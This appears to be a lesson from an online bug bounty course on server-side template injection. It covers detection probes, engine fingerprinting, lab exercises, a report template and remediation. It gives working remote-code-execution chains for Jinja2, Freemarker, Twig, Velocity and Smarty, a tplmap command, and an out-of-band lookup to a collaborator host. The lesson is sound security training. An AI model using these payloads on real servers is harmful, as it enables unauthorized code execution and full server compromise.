Bug Bounty Course -- Day 40 of 60
67%

Server-Side Template Injection Bug Bounty 2026 — SSTI Detection, Engine Fingerprinting & RCE | Bug Bounty Course Day 40 of 60

Server-Side Template Injection Bug Bounty 2026 — SSTI Detection, Engine Fingerprinting & RCE | Bug Bounty Course Day 40 of 60
✨ AI Summary
💰 BUG BOUNTY HUNTER
FREE

Part of the Bug Bounty 60-Day Course

Day 40 of 60 · 67% complete

{ {7*7} } returning 49 is the most iconic moment in web hacking — the instant you realize the server didn’t just reflect your input, it evaluated it. That happens when user input is concatenated into a server-side template string and handed to a template engine. The engine can’t tell your injected { {7*7} } from the developer’s legitimate template directives, so it runs it. Arithmetic is just the detector. Once you fingerprint which engine is running — Jinja2, Twig, Freemarker, Velocity, Smarty — you follow that engine’s object model from a harmless expression all the way to reading /etc /passwd or running id. SSTI is one of the most reliable paths from a plain text field to remote code execution, and the whole class starts with seven times seven.

🎯 What you’ll master in Day 40

Detect template evaluation with math probes
Distinguish SSTI from reflected XSS
Fingerprint the template engine with a decision-tree of probes
Escalate Jinja2 to RCE via the Python object model
Escalate Freemarker/Twig/Velocity to file read and RCE
Rate severity from sandboxed eval (Medium) to RCE (Critical)

⏱ ~30 min read · 3 hands-on exercises · Burp Suite + tplmap + PortSwigger Academy

Before you start you’ll want: Burp Suite from Day 5, basic familiarity with one template engine’s syntax (Jinja2 is the most common in bug bounty), and the deserialization mindset from Day 39 — both are “web input to RCE” classes and reward the same patience in escalating from a primitive to a shell-equivalent.

What SSTI is — templates as code

Template engines exist to mix static markup with dynamic values: a developer writes Hello { { name } }, the engine substitutes the real name, and the page renders. Used correctly, user input is passed as data into a pre-compiled template — name is a variable, and whatever value it holds is rendered as text. SSTI happens when a developer instead builds the template string out of user input: render("Hello " + name). Now name isn’t data in a template; it’s part of the template source. If you set name to { {7*7} }, the engine compiles and evaluates it, and you get Hello 49.

The reason this escalates to code execution is that template engines are small programming languages. They can access objects, call methods, and (in many engines) reach the host language’s full runtime. Jinja2 templates run in Python and can traverse Python’s object hierarchy to reach os. Freemarker can instantiate a Java utility that runs OS commands. The “sandbox” some engines provide to restrict this is routinely bypassed. So the gap between { {7*7} } and { { run_a_command() } } is just knowing the engine’s object model.

Common injection points: anything that ends up in a rendered template — name fields that appear in emails or PDFs, custom error pages, “preview” features, wiki/markdown renderers, notification templates, and any feature that lets a user supply a template. User-supplied templates (email customization, report builders) are the highest-risk by design.

🧠 EXERCISE 1 — THINK LIKE A HACKER (10 MIN · NO TOOLS)

Reason about template evaluation before probing:

  1. You submit { {7*7} } in a “display name” field and the confirmation email shows Hello 49. You submit it again in a “search” box and the results page shows the literal Hello { {7*7} }. What’s different between the two input points, and which one is SSTI?
  2. { {7*7} } returns 49 but you’re unsure if it’s being rendered client-side (a JS template framework) or server-side. What property of the response or the engine would you test to prove the evaluation happened on the server, not in your browser?
  3. Two targets both evaluate 7*7 to 49. On target A, { {7*'7'} } returns 7777777. On target B, $ {7*7} is required and { {...} } does nothing. Without running any RCE payload, what have you already learned about each target’s engine, and why does that matter for the next step?
✅ What you just learned: only the input point whose value becomes part of the template source is SSTI — the search box that echoed the literal braces is just reflection (possibly XSS, not SSTI). Server-side evaluation is confirmed when the computation could only have happened on the server (e.g., it appears in a server-generated email/PDF, or engine-specific syntax that no browser framework would run). And the probe responses fingerprint the engine: 7*'7' → 7777777 is Python string repetition (Jinja2), while $ {...} syntax points at Freemarker/Velocity — which decides your entire escalation path.
📸 Write your answers for #day-40-ssti before continuing.


Detecting template evaluation

Detection is a single idea: submit something the server must compute, and check whether the computed result comes back. Arithmetic is perfect because the literal input and the evaluated output are obviously different ({ {7*7} } vs 49). Use a polyglot that covers multiple engine syntaxes at once so a single probe flags most engines.

SSTI DETECTION PROBES
# Per-syntax math probes – submit and look for the computed value
{ {7*7} } -> 49 (Jinja2, Twig, and others using { { } })
$ {7*7} -> 49 (Freemarker, Velocity, JSP EL)
# {7*7} -> 49 (Ruby ERB-style, some JSF)
<%= 7*7 %> -> 49 (ERB / EJS)
# Polyglot – triggers evaluation in several engines at once
$ { {<%[%'”} }%\\.
# A malformed/evaluated response (error or partial render) flags SSTI
# Distinguish from plain reflection:
Response contains 49 -> evaluated -> SSTI
Response contains { {7*7} } -> literal echo -> reflection only (maybe XSS)

securityelites.com
Burp Repeater — { {7*7} } renders 49 (server-side eval)
REQUEST
POST /profile display_name={ {7*7} }

RESPONSE 200 OK
<h2>Welcome, 49</h2>

7*7 was evaluated to 49 → template engine, not just reflection
next: fingerprint the engine with $ {7*7} / # {7*7} / <%= 7*7 %>

📸 The value came back as 49, not the literal { {7*7} } — that is server-side template injection, not XSS. The math rendering is the detection; engine fingerprinting comes next, before any RCE attempt.


SSTI vs XSS — confirming server-side

A reflected { {7*7} }→49 is almost always server-side, but it’s worth confirming, because the impact and the report differ enormously. The cleanest confirmations: the computation appears in something the server definitely generated (a confirmation email, a server-rendered PDF, a backend log echoed to an admin), or engine-specific syntax that no client framework would evaluate produces a result. If only a browser-side framework is interpreting the braces, you’re looking at client-side template injection, which is an XSS-class issue, not SSTI.

💡 The “email/PDF tell”. Fields that feed into server-generated artifacts — order confirmation emails, invoice PDFs, exported reports — are gold for SSTI, because the rendering unambiguously happens on the server, and these pipelines often use powerful engines (Jinja2, Freemarker, Velocity) with no sandbox. If a display-name or address field shows up in a PDF, test it for SSTI before anything else.

Fingerprinting the engine

Escalation is engine-specific, so fingerprinting is mandatory. Run a short decision tree of probes whose different outcomes identify the engine, then confirm with engine-specific syntax and error messages.

ENGINE FINGERPRINT DECISION TREE
# Does { {7*7} } evaluate?
# YES -> test { {7*’7′} }
# 7777777 -> Jinja2 (Python) OR Twig -> disambiguate below
# 49 -> likely Twig is out; test Jinja-only syntax
# NO -> test $ {7*7}
# 49 -> Freemarker / Velocity / JSP EL -> disambiguate below
# Jinja2 vs Twig (both use { { } } and give 7777777 for 7*’7′)
{ { self._TemplateReference__context } } -> works in Twig (older)
{ { ”.__cl ass__ } } -> works in Jinja2 (Python)
# Freemarker vs Velocity (both use $ { })
$ {“freemarker.template.utility.Execute”?new()} -> Freemarker
#set($x = …) / $class.inspect(…) -> Velocity
# Smarty uses {$…} and {php}; ERB uses <%= %>
# Engine-specific ERROR messages are also a strong fingerprint


Jinja2 to RCE via the object model

Jinja2 is the most common SSTI in bug bounty (Flask/Django-adjacent apps). It runs in Python, so escalation means traversing Python’s object model from any object you can reference up to a module that runs commands. The classic path: from a string literal, reach __cl ass__, walk up to object via __m ro__, enumerate all subclasses with __sub classes__(), find one that imports os or exposes subpro cess/po pen, and call it.

JINJA2 SSTI — ESCALATE TO RCE
# Confirm you can reach the object model
{ { ”.__cl ass__.__m ro__[1].__sub classes__() } }
# Returns a big list of classes; find one wrapping os (po pen/Popen)
# Modern, reliable path via the config / builtins (no index hunting)
{ { cyc ler.__in it__.__glo bals__.os.po pen(‘id’).read() } }
{ { self.__in it__.__glo bals__.__bui ltins__.__imp ort__(‘os’).po pen(‘id’).read() } }
{ { request.application.__glo bals__.__bui ltins__.__imp ort__(‘os’).po pen(‘id’).read() } }
# Blind? Swap ‘id’ for a harmless OOB callback
{ { cyc ler.__in it__.__glo bals__.os.po pen(‘nslookup ssti.YOUR-COLLAB.oastify.com’).read() } }
# File read without full RCE (if commands are filtered)
{ { get_flashed_messages.__glo bals__.__bui ltins__.open(‘/etc/hostname’).read() } }
# Use ‘id’/hostname/OOB only – never destructive or data-reading commands

💡 Sandbox escapes are expected. Jinja2’s sandboxed environment blocks direct access to some attributes, but the escapes are well documented and change over time — attribute filtering is bypassed via |attr(), request-object globals, or alternate dunder paths. If one chain is blocked, try the request, cyc ler, joiner, or namespace globals. Treat a sandbox as a speed bump, not a wall — which is exactly why the fix is to not render untrusted templates at all.

Freemarker, Twig, Velocity escalation

Java and PHP engines each have their own canonical RCE chain. Freemarker exposes a utility class that runs OS commands directly. Twig (PHP) reaches system functions via its filter/registration internals. Velocity can load classes and invoke methods. You don’t memorize these — you fingerprint, then look up the current chain — but the common ones are worth recognizing on sight.

OTHER ENGINES — CANONICAL RCE CHAINS
# FREEMARKER (Java) – the Execute utility
$ {“freemarker.template.utility.Execute”?new()(“id”)}
<#assign ex=”freemarker.template.utility.Execute”?new()>$ {ex(“id”)}
# TWIG (PHP) – filter/registerUndefinedFilterCallback to system
{ {[‘id’]|filter(‘system’)} }
{ {_self.env.registerUndefinedFilterCallback(‘system’)} }{ {_self.env.getFilter(‘id’)} }
# VELOCITY (Java) – class loader to Run time.exec
#set($e=”e”)$e.getClass().forName(“java.lang.Run time”).getMethod(“getRun time”,null)…
# SMARTY (PHP)
{sys tem(‘id’)} or {php}sys tem(‘id’);{/php} (older versions)
# tplmap can automate detection + exploitation across these engines
python tplmap.py -u ‘https://target/page?name=*’
# Confirm manually and use harmless commands only

⚡ EXERCISE 2 — BURP LAB (25 MIN)

Work through PortSwigger Web Security Academy’s SSTI labs:

  1. Start with Basic SSTI — detect the injection with a math probe and reach a simple sink in the identified engine (ERB in the first lab).
  2. Do the engine-identification labs, practicing the decision tree. Pay attention to how error messages betray the engine.
  3. Do a Jinja2/Python lab: traverse the object model to RCE using the config / globals path. This is the chain you’ll use most in real bug bounty.
  4. Do a Freemarker or Twig lab to see a non-Python engine’s chain, and run tplmap against one lab to understand what automation does — then reproduce its finding manually so you understand the chain, not just the tool output.
✅ What you just learned: the workflow is detect (math probe) → confirm server-side → fingerprint (decision tree) → look up the engine’s object model → escalate to a harmless-command RCE. Automation (tplmap) is fast but you must reproduce manually — triagers and your own understanding both demand you can explain the exact chain, not just paste a tool’s payload.
📸 Share your Jinja2 object-model RCE payload (harmless command) for #day-40-ssti.


Writing the report that pays

An SSTI report should walk the triager from detection to impact in a few copy-paste requests: the math probe that proves evaluation, the fingerprint, and the escalation payload with evidence (rendered command output, or an out-of-band callback for blind). Make the server-side nature unambiguous and rate by how far the sandbox was escaped.

BUG BOUNTY REPORT TEMPLATE — SSTI TO RCE
Title: Server-Side Template Injection in the displayName Field (Jinja2) Leading to Remote Code Execution — Critical

Severity: Critical (CVSS 9.8) — unauthenticated-to-low-priv remote code execution on the application server
Affected Endpoint: POST https://www.target.com/account/profile (displayName parameter, rendered into the confirmation email)

Summary: The displayName field is concatenated into a Jinja2 template that is evaluated server-side when generating the profile-confirmation email. An attacker can inject Jinja2 expressions that are executed by the engine, escalating from arithmetic evaluation to arbitrary OS command execution via the Python object model.

Steps to Reproduce:
1. Set displayName to { {7*7} } → the confirmation email renders “Hello 49”, proving server-side evaluation (the email is generated server-side).
2. Fingerprint: { {7*’7′} } renders 7777777 and { {”.__cl ass__} } resolves, confirming Jinja2/Python.
3. Set displayName to: { { cyc ler.__in it__.__glo bals__.os.po pen(‘id’).read() } }
4. The confirmation email renders: uid=33(www-data) gid=33(www-data) groups=33(www-data) — command output proving RCE. [screenshot attached; only ‘id’ was run]

Impact: An attacker controls arbitrary OS commands on the application server through a profile field, with the output returned in the confirmation email. This is full server compromise: access to application data, secrets, and the internal network.

Remediation: Do not build template strings from user input. Pass displayName as a context variable into a static, pre-compiled template so it is rendered as data, never as template source (e.g. render_template with displayName=value, not render_template_string(“Hello ” + value)). If users must supply templates, use a logic-less engine and treat the Jinja2 sandbox as insufficient against untrusted input.

⚡ EXERCISE 3 — WRITE THE REPORT (15 MIN)

Convert a lab solve into a full report:

  1. Write the report using the template above for the engine you exploited. Include the detection probe, the fingerprint evidence, and the escalation payload with its output — all reproducible in a few requests.
  2. Write the impact for three outcomes and rate each: (a) only sandboxed arithmetic evaluates, (b) server-side file read achieved, (c) full RCE confirmed. Explain what fact moved you from one tier to the next.
  3. Write the remediation as “don’t render untrusted input as template source,” with the exact correct API call for the stack (render_template with a variable vs render_template_string with concatenation). Note explicitly that the engine’s sandbox is not a sufficient control for untrusted templates.
✅ What you just learned: the report’s power is the clean escalation narrative — 49 proves evaluation, the fingerprint names the engine, the object-model payload proves RCE. And the remediation that triagers respect is architectural (pass input as data, never as template source), explicitly noting that sandboxes are routinely bypassed and are not the fix.
📸 Share your SSTI report’s reproduction steps for #day-40-ssti.

💰 Quick check: you inject { {7*7} } into a search box and the results page displays the literal text { {7*7} } in your browser. You inject the same thing into a display-name field and the server-generated confirmation email shows 49. Which is SSTI, and why?




📋 Day 40 reference card

{ {7*7} } / $ {7*7} / # {7*7} / <%= 7*7 %>Detection probes — 49 means server-side evaluation
{ {7*’7′} } → 7777777Python string repetition — fingerprints Jinja2/Twig
{ { cyc ler.__in it__.__glo bals__.os.po pen(‘id’).read() } }Jinja2 object-model RCE via globals
$ {“freemarker.template.utility.Execute”?new()(“id”)}Freemarker RCE via the Execute utility
{ {[‘id’]|filter(‘system’)} }Twig (PHP) RCE via filter callback
tplmap -u ‘url?p=*’Automate detection/exploitation — then reproduce manually
Pass input as data, not template sourceThe fix — sandboxes are bypassed, so don’t render untrusted templates

✅ Mark Day 40 complete

You can detect template evaluation, prove it’s server-side, fingerprint the engine with a decision tree, escalate Jinja2 through the Python object model to RCE, recognize the Freemarker/Twig/Velocity chains, and write a report whose severity reflects how far the sandbox was escaped.

Tomorrow — Day 41: Web cache poisoning — turning unkeyed inputs into stored attacks served to every visitor from the cache.

❓ Frequently asked questions

What is server-side template injection?
SSTI occurs when user input is embedded directly into a server-side template that is then evaluated by a template engine, rather than passed as data to a pre-compiled template. Because the engine evaluates the injected template syntax, an attacker can run engine expressions — from simple arithmetic ({ {7*7} }→49) up to file read and remote code execution, depending on the engine and its sandbox.
How do I detect SSTI?
Inject a template expression that produces a computed result the server must evaluate — { {7*7} }, $ {7*7}, # {7*7}, or a polyglot combining several. If the response returns 49 rather than the literal braces, the input is being evaluated server-side as a template, confirming SSTI. A literal echo of the braces means no evaluation.
How is SSTI different from XSS?
XSS executes in the victim’s browser (client-side); SSTI executes on the server inside the template engine. A { {7*7} } that returns 49 proves server-side evaluation. The impact differs enormously: XSS steals sessions and runs browser scripts, while SSTI can read server files and achieve RCE. Confirm server-side execution with engine-specific syntax or by observing the result in a server-generated artifact like an email or PDF.
Why do I need to fingerprint the template engine?
Every engine has a different syntax and object model, so the escalation payload is engine-specific. { {7*7} } works in Jinja2 and Twig but Freemarker uses $ {7*7}. The path to RCE differs: Jinja2 traverses Python’s object hierarchy, Freemarker uses the Execute utility, Velocity has a class-loading trick. Fingerprinting tells you which chain to use; detection without fingerprinting can’t reach RCE.
What severity does SSTI get?
It depends on how far the sandbox can be escaped. A fully sandboxed engine where only harmless expressions evaluate may be Medium to High. Server-side file read is High. RCE — common for Jinja2, Freemarker, Velocity, and Smarty when unsandboxed — is Critical. Because SSTI so often reaches RCE, it is a high-priority finding on most programmes.
How is SSTI fixed?
Never concatenate user input into a template string that is then evaluated. Pass user input only as data to a pre-compiled, static template. If users must supply templates, use a logic-less engine (like Mustache) or a strongly sandboxed configuration, and treat sandbox escapes as expected — Jinja2 and similar sandboxes are frequently bypassed, so logic-less rendering of untrusted templates is far safer.
← Previous
Day 39: Insecure Deserialization
Next →
Day 41: Web Cache Poisoning

📚 Further reading

ME
Mr Elite
The SSTI I’m proudest of wasn’t in a search box — it was in a shipping address. The target let you save an address, and a “print packing slip” feature rendered that address into a PDF server-side. I dropped { {7*7} } into the address line, generated the slip, and there it was: 49. A PDF pipeline almost guarantees a server-side engine, and this one was Jinja2. I walked the object model to os.po pen, set the command to a harmless nslookup to my Collaborator, regenerated the slip, and my Collaborator fired — blind RCE confirmed, nothing destructive run. The report wrote itself: 49 proves evaluation, the globals chain proves RCE, done. The habit that found it: whenever a field ends up in an email, an invoice, or a PDF, test it for template injection first. Those server-generated artifacts are where unsandboxed engines live.

⚡
Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh N. Singh aka Mr Elite
Lokesh N. Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *